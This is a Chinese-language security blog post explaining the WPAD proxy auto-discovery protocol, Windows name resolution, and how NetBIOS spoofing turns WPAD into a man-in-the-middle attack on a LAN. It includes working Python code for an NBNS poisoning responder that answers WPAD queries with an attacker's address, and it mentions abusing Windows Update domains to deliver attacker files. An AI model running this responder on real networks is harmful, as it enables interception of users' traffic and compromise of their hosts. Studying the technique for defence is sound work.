WPAD 协议分析及内网渗透利用

her0in / 2017-12-07 13:55:00 / 浏览数 4070 技术文章 技术文章 顶(0) 踩(0)

0x00 前言

WPAD
这项技术已经诞生了近十年的时间，其最大的优势就在于，在一个或多个局域网中，当需要为内网中的用户设置不同的代理服务器去连接互联网或者企业内网时，利用 WPAD 就能够灵活方便的进行配置。由于配置代理服务器的方式对于用户来说是透明的，无需用户手动操作的，因此，攻击者就可以利用 WPAD 进行内网的渗透。
利用 WPAD 进行内网渗透的技术已经出现了很多年了，一直没有变得像 ARP Spoof 等攻击方式那么流行，可能是由于常规的内网渗透中，如 Windows 域的渗透，攻击者只需拿到域控的权限即可控制域中的任何机器，因此，攻击者往往只关注如何抓到域管理员的 HASH。然而即使在工作组的渗透中，也有着比 WPAD 更有效的攻击方式。但是在攻击者"无（qian）计（lv）可（ji）施（qiong）;)"的时候，也会采用一些"非主流"的方式进行内网渗透。
本文将会阐述 WPAD 协议的工作原理，实现方式以及在内网渗透中的应用思路。
PS：本文是笔者利用工作之余的零碎时间所写，难免会有纰漏，还望各位看（da）官（niu）在评论区及时指正 or PM 我。

0x01 WPAD 简介

WPAD（Web Proxy Auto-Discovery Protocol） 是 Web 代理自动发现协议的简称，该协议的功能是可以使局域网中用户的浏览器可以自动发现内网中的代理服务器，并使用已发现的代理服务器连接互联网或者企业内网。WPAD 支持所有主流的浏览器，从 IE 5.0 开始就已经支持了代理服务器自动发现/切换的功能，苹果公司考虑到 WPAD 的安全风险，在包括 OSX 10.10 及之后版本的操作系统中的 Safari 浏览器将不再支持 PAC 文件的解析。

WPAD 工作原理

当系统开启了代理自动发现功能后，用户使用浏览器上网时，浏览器就会在当前局域网中自动查找代理服务器，如果找到了代理服务器，则会从代理服务器中下载一个名为 PAC（Proxy Auto-Config） 的配置文件。该文件中定义了用户在访问一个 URL 时所应该使用的代理服务器。浏览器会下载并解析该文件，并将相应的代理服务器设置到用户的浏览器中。

PAC 文件

PAC（Proxy Auto-Config） 配置文件使用 Javascript 进行 URL 和代理服务器的描述。通常使用 proxy.pac 作为文件名， WPAD 的规范则使用 wpad.dat 作为 PAC 文件的文件名。
一个 PAC 文件至少定义了一个名为 FindProxyForURL(url, host) 的 JavaScript 函数，该函数的返回值是一个字符串，指定了 URL 的访问方式，两个参数分别代表了要指定设置的 URL 和 该 URL 所对应的主机名。
PAC 文件内容示例如下：

```
function FindProxyForURL(url, host) {
  if (url== 'http://Her0in.org/') return 'DIRECT';
  if (shExpMatch(host, "*.wooyun.org")) return "DIRECT";
  if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080';
  if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT';
  return 'DIRECT';
}
```

该文件定义了当用户访问 http://Her0in.org/ 时，将不使用任何代理服务器直接（DIRECT）访问 URL。也可以使用 shExpMatch 函数对 host 或者 url 进行匹配设置，SOCKS 127.1.1.1:8080 指定了使用 127.1.1.1:8080 的 SOCKS 代理进行 URL 的访问，PROXY 127.2.2.2:8080;DIRECT 指定了使用 127.2.2.2:8080 的 HTTP 代理进行 URL 的访问，如果连接 127.2.2.2:8080 的 HTTP 代理服务器失败，则直接（DIRECT）访问 URL。
本地搭建提供 WPAD 使用的 HTTP 代理服务器时，需要监听 80 端口，因为客户端浏览器默认会从 80 端口下载 PAC 文件，同时要将 PAC 文件的 MIME 类型设置为 application/x-ns-proxy-autoconfig 或 application/x-javascript-config。

PAC 文件的编码问题

FF 和 IE 只支持系统默认的编码类型 的 PAC 文件，并且不支持 Unicode 编码，如 UTF-8。
关于 PAC 文件的更多说明，可以在 这里 和 这里找到。

0x02 Windows 中的 WPAD

在 Windows 系统中，从 IE 5.0 开始就支持了 WPAD，并且 Windows 系统默认是开启了 WPAD 功能的。
可以在 IE浏览器的 Internet 选项 — 连接 选项卡 — 局域网设置 — 自动检测设置 中看到，系统默认是勾选此功能的。
如下图所示：

图 1：Windows 中 IE 浏览器的 WPAD 设置

另外， Windows 系统从 IE 5.5 开始支持"自动代理结果缓存"功能，并默认开启了此功能，此功能的机制为每当客户端的浏览器连接成功 HTTP 代理服务器，都会更新 ARP 缓存，所以在客户端浏览器再次连接代理服务器也就是在再次调用 FindProxyForURL() 函数时，会先检查 ARP 缓存列表中，是否存在要连接的 HTTP 代理服务器地址。所以此功能的目的就是缩减系统获取分配对象的开销。

可以使用如下操作关闭此功能：
方法 1：修改注册表
可以使用下面的注册表项禁用“自动代理结果缓存”：
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
将 EnableAutoproxyResultCache（如果不存在请手动创建，类型为 REG_DWORD） 设置为 0 或者 1 。
0 = 禁用缓存；1 = 启用自动代理缓存（这是默认设置）
方法 2：修改组策略设置
在组策略对象编辑器中的“用户配置” — “管理模板” — “Windows 组件” — “Internet Explorer”中，启用 “禁用缓存自动代理脚本”即可。

WinHTTP 的 WPAD 支持

在 Windows 系统中，有一个服务名为 WinHTTP Web Proxy Auto-Discovery Service，其描述信息为 “WinHTTP 实现了客户端 HTTP 堆栈并向开发人员提供 Win32 API 和 COM 自动化组件以供发送 HTTP 请求和接收响应。此外，通过执行 Web 代理自动发现(WPAD)协议，WinHTTP 还提供对自动发现代理服务器配置的支持。”
PS：建议禁用，因为大多数的情况下不会用到。

0x03 WPAD 实现方式

WPAD 实现的方式有两种，DHCP 和 DNS，具体内容如下。

使用 DHCP 服务器配置 WPAD

DHCP 是 Dynamic Host Configuration Protocol 的缩写即 动态主机配置协议，它是一个用于局域网的网络协议，处于 OSI 的应用层，所使用的传输协议为 UDP。DHCP 的主要功能是动态分配，当然不仅仅是 IP 地址，也包括一些其他信息，如子网掩码等，也包括本文所讲的 WPAD，这些额外的信息都是通过 DHCP 协议中的 “DHCP options” 字段传输的。

DHCP 的工作流程有 4 个步骤：

图 2：DHCP 工作流程

上图即为客户端与 DHCP 服务器进行交互的过程，其中，前两个流程主要是通过客户端发送广播包，之后 DHCP 服务器进行相应与客户端进行单播通讯。后面的两个流程即为客户端从 DHCP 服务器获取 IP 地址的过程。当客户端已经成功获取到了 IP 地址后同时该地址在客户端重新登录到网络前并未被其他主机占用，那么将不会再执行前两个流程。关于 DHCP 协议的具体内容不是本文的重点内容，不再详述。
当使用 DHCP 服务器配置 WPAD 时， DHCP 协议将会有所改变，具体的改变可以在 RFC 2131 中看到，增加了 DHCPINFORM 消息，此消息用于客户端请求本地配置参数，所以客户端在请求 WPAD 主机时就会发送 DHCPINFORM 请求消息，之后 DHCP 服务器会应答 DHCPACK 确认消息，此消息中的 DHCP Options 字段里就包含 DHCP 的 252 选项即 WPAD 代理服务器的 PAC 文件地址。
DHCP 服务器响应的 DHCPACK 数据包对应的 DHCP 结构：

图 3： DHCPACK 消息结构

关于 DHCP Options 的其他定义可以查看 DHCP 的 RFC 1531 文档
在目前的大多数内网中已经不再使用 DHCP 服务器来进行对客户端的 WPAD 的配置了，而是采用了较为简单的方式如 DNS 服务器。

利用 DNS 配置 WPAD

利用 DNS 配置 WPAD 的方式本质上还是利用了 Windows 系统的名称解析机制。
利用 DNS 配置 WPAD 的原理如下：
客户端主机向 DNS 服务器发起了 WPAD + X 的查询请求。如果客户端主机是处于域环境下时，发起的 WPAD+X 的查询请求为 “WPAD.当前域的域名”。DNS 服务器对 WPAD 主机的名称进行解析返回 WPAD 主机的 IP 地址，客户端主机通过 WPAD 主机的 IP 的 80 端口下载并解析 PAC 文件。
利用 DNS 进行 WPAD 的配置，网络管理员只需要在 DNS 服务器中添加 WPAD 主机的解析记录即可。
PS：在工作组环境中，客户端主机执行 WPAD 功能时，就会遵循 Windows 系统的名称解析顺序，查询的名称均为 “WPAD”，如果 OS 版本为 Vista 之后的（包括 Vista）顺序为：DNS => LLMNR => NBNS，反之则为 DNS => NBNS。

0x04 利用 WPAD 进行内网渗透

前面的内容已经说明了 WPAD 的工作原理,实现方式和 WPAD 在 Windows 系统中的相关内容。接下来就是本文要重点阐述的内容，如何利用 WPAD 进行内网渗透。
上面已经说明，在实际渗透中，大多数情况下遇到的内网都不再使用 DHCP 进行 WPAD 的配置，而利用 DNS 配置 WPAD 或者是内网本身没有对 WPAD 的配置进行设置的情况下，都会默认遵循 Windows 系统的名称解析顺序，因此，可以利用 Windows 系统的名称解析顺序的缺陷进行 WPAD 的“恶意”配置，从而进行内网的渗透。
关于 Windows 系统的名称解析顺序 及利用 Windows 系统的名称解析缺陷渗透的思路可以从我的下面两篇文章中找到。

Windows 名称解析机制探究及缺陷利用(下文简称 文1)

利用 LLMNR 名称解析缺陷劫持内网指定主机会话(下文简称 文2)

利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击

在我的 利用 LLMNR 名称解析缺陷劫持内网指定主机会话 这篇文章中已经阐述了 如何利用 LLMNR 名称解析进行内网渗透的思路，并给出了相应的利用代码。所以本文将不再赘述 NetBIOS协议相关的内容 和 “如何利用 LLLMNR 名称解析缺陷进行基于 WPAD

的中间人攻击”。

NetBIOS 协议名称解析过程

一张图看明白 NetBIOS 名称解析过程：

图 4：NetBIOS 名称解析过程

NetBIOS 协议分析

使用 Wireshark 可以快速抓取到 NetBIOS 协议名称查询的数据包，如下图：

图 5：NetBIOS 名称查询数据包格式

NetBIOS 的协议结构与 LLMNR 的基本一致。但是与 LLMNR 还是有所不同，其中最明显的一点为 NetBIOS 协议中的主机名称是加密的，通过查阅 dpkt 库的源码，发现了其加密和解密的源码：
PS：以下代码引用自 dpkt 库。

```
def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
   c = ord(c)
   l.append(chr((c >> 4) + 0x41))
   l.append(chr((c & 0xf) + 0x41))
return ''.join(l)

def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
   return nbname
l = []
for i in range(0, 32, 2):
   l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
                ((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]
```

从代码中不难分析出加密的过程，至于为何 pack 的时候使用 16 请参阅 文1 中对 NetBIOS 名称的阐述。
NetBIOS 协议的内容比较多，其中有不少与我们在内网渗透中所使用的一些命令有直接的关系，更多内容可以查阅 NetBIOS 协议的 RFC 文档

Python 实现 NetBIOS 协议的质询与应答

尽管目前已有相当优秀的网络协议开源库实现了 NetBIOS 的质询与应答，不过为了更好的理解 NetBIOS 协议，我们还是动手自己来构造协议数据包。根据 Wireshark 抓取的数据包（图 5）可以很快的构造并实现 NetBIOS 协议的名称查询数据包。代码如下：
□

```
#/usr/bin/env python
# -*- coding:utf-8 -*-


__doc__ = """

   NBNS Query ,
                   by Her0in

"""

import socket, struct

class NBNS_Query:
   def __init__(self,name):
       self.name = name
       self.populate()
   def populate(self):
       self.HOST = '192.168.16.255'
       self.PORT = 137
       self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

       self.QueryData = (
       "\xa9\xfb"  # Transaction ID
       "\x01\x10"  # Flags Query
```

```
        "\x00\x01"  # Question:1
        "\x00\x00"  # Answer RRS
        "\x00\x00"  # Authority RRS
        "\x00\x00"  # Additional RRS
        "\x20"      # length of Name:32
        "NAME"      # Name
        "\x00"      # NameNull
        "\x00\x20"  # Query Type:NB
        "\x00\x01") # Class

        self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))

    # From http://code.google.com/p/dpkt/
    def encode_name(self,name):
        """Return the NetBIOS first-level encoded name."""
        l = []
        for c in struct.pack('16s', name):
            c = ord(c)
            l.append(chr((c >> 4) + 0x41))
            l.append(chr((c & 0xf) + 0x41))
        return ''.join(l)

    def Query(self):
        while 1:
            print "NBNS Querying... -> %s" % self.name
            self.nqs.sendto(self.data, (self.HOST, self.PORT))
        self.nqs.close()

if __name__ == "__main__":
    nbns = NBNS_Query("WPAD")
    nbns.Query()
```

通过 Wireshark 抓取 NetBIOS 名称查询的应答数据包，同样可以快速实现名称查询的应答功能。代码如下：

```
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """

    NBNS Answer ,
                    by Her0in

"""

import socket, struct,binascii

class NBNS_Answer:
    def __init__(self, addr):

        self.IPADDR  = addr
        self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.init_socket()
        self.populate()
    def populate(self):

        self.AnswerData = (
        "TID"              # Transaction ID
        "\x85\x00"         # Flags Query
        "\x00\x00"         # Question
        "\x00\x01"         # Answer RRS
        "\x00\x00"         # Authority RRS
        "\x00\x00"         # Additional RRS
        "\x20"             # length of Name:32
        "NAME"             # Name
        "\x00"             # NameNull
        "\x00\x20"         # Query Type:NB
        "\x00\x01"         # Class
        "\x00\x00\x00\xa5" # TTL
        "\x00\x06"         #
        "\x00\x00"         # Null
```

```
        "IPADDR")          # IP Address

    def init_socket(self):
        self.HOST = "0.0.0.0"
        self.PORT = 137
        self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)

    def decode_name(self, nbname):
        """Return the NetBIOS first-level decoded nbname."""
        if len(nbname) != 32:
            return nbname
        l = []
        for i in range(0, 32, 2):
            l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
                         ((ord(nbname[i+1]) - 0x41) & 0xf)))
        return ''.join(l).split('\x00', 1)[0]

    def Answser(self):
        self.nas.bind((self.HOST, self.PORT))
        print "Listening..."
        while 1:
            data, addr = self.nas.recvfrom(1024)
            tid  = data[0:2]
            name = data[13:45]
            data = self.AnswerData.replace('TID', tid)
            data = data.replace('NAME', name)
            data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
            print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
            self.nas.sendto(data, addr)
        self.nas.close()

if __name__ == "__main__":
    nbns = NBNS_Answer("11.22.33.44")
    nbns.Answser()
```

利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击思路解析

通过上面一系列针对 WPAD 原理和 NetBIOS 协议的阐述，理解利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击的思路就不难了，不过利用思路将不会再像 文2 那样详述。因为我认为，只要理解了攻击思路，如何利用就是一个“方法论”的问题了，具体情况具体分析，各位大牛完全可以自由发挥。
利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NetBIOS 协议的特点。
在文章第三小节已经说过，在工作组环境中，客户端主机执行 WPAD 功能时，就会遵循 Windows 系统的名称解析顺序，查询的名称均为 “WPAD”。那么，如此看来，先广播进行 “WPAD” 名称的注册，然后监听 137 端口，等待局域网其他已启用 WPAD 功能的主机启动 IE 浏览器连接网络即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器，这样就可以获得受害者的浏览器的上网记录。
利用上一节中的 Demo 程序以及 Python 的 SimpleHTTPServer 功能还有一台 HTTP 或者 SOCKS 代理服务器即可快速模拟出一个简单的攻击场景。如下图：

图 6： 利用 NetBIOS 名称解析进行基于 WPAD 的中间人攻击

如上图所示，攻击者开启 NetBIOS 恶意应答程序，并监听 80 端口提供 PAC 配置文件（wpad.dat）的下载，同时开启代理服务器（这里使用的是 HTTP 代理服务器 => Burp Suite）。
受害者主机（Windows XP） 打开 IE 浏览器（已启用了 WPAD 功能）开始上网，此时浏览器就会寻找当前局域网中的代理服务器，实际上是进行了 WPAD 的名称查询，可以从图中看到攻击者的恶意应答程序做了恶意应答，同时提供 PAC 配置文件下载的 HTTP 服务器打印出了日志信息，此时受害者的浏览器已经下载了 PAC 配置文件（该文件内容为代理服务器地址信息），之后，受害者的浏览器就会使用攻击者指定的代理服务器进行上网，这一点从 Burp Suite 中就可以看到。
OK，上述内容就是整个攻击的思路和流程，在实战中，完全可以将攻击过程程序化，自动化。

0x05 总结

利用 NetBIOS 协议进行中间人攻击的方式其实还有很多，攻击的思路也可以很灵活的根据实际需要进行布局。在利用 WPAD 进行攻击时，实际的效果很有可能没有想象的那么好，不过一旦奏效，就可以拿到受害者主机权限。尤其是在无计可施的情况下，还是值得一试的，很多内网中，管理员都不 HTTP 数据包进行更改插入恶意代码，进行针对性的定点打击。另外，NetBIOS 协议比起 LLMNR 有一个更佳有利于攻击的特点，NetBIOS 协议的名称解析可以对受害者访问的域名进行响应，当然，前提是 DNS 服务器没有做出成功的响应时，才会使用 NetBIOS 协议进行查询。关于这一点以及 WPAD ，都可以结合 Windows Update 所使用的更新域名进行中间人攻击，下载并执行攻击者指定的补丁文件。

关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅，其中还有不少东西可以在内网渗透中利用到，如 OPCODE 字段的取值，BROWSER 协议等等，更多的攻击思路还有待各位看官多多“引玉”。

上一篇：漏洞分析—【CVE-2017-11... 下一篇：Windows 名称解析机制探究及...

1. 2 条回复

chinascha****@ye 2017-12-08 09:07:21

读了一遍 接的还行 我转载了哈

0 回复Ta

安全小飞侠 2017-12-13 16:54:54

很不错

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录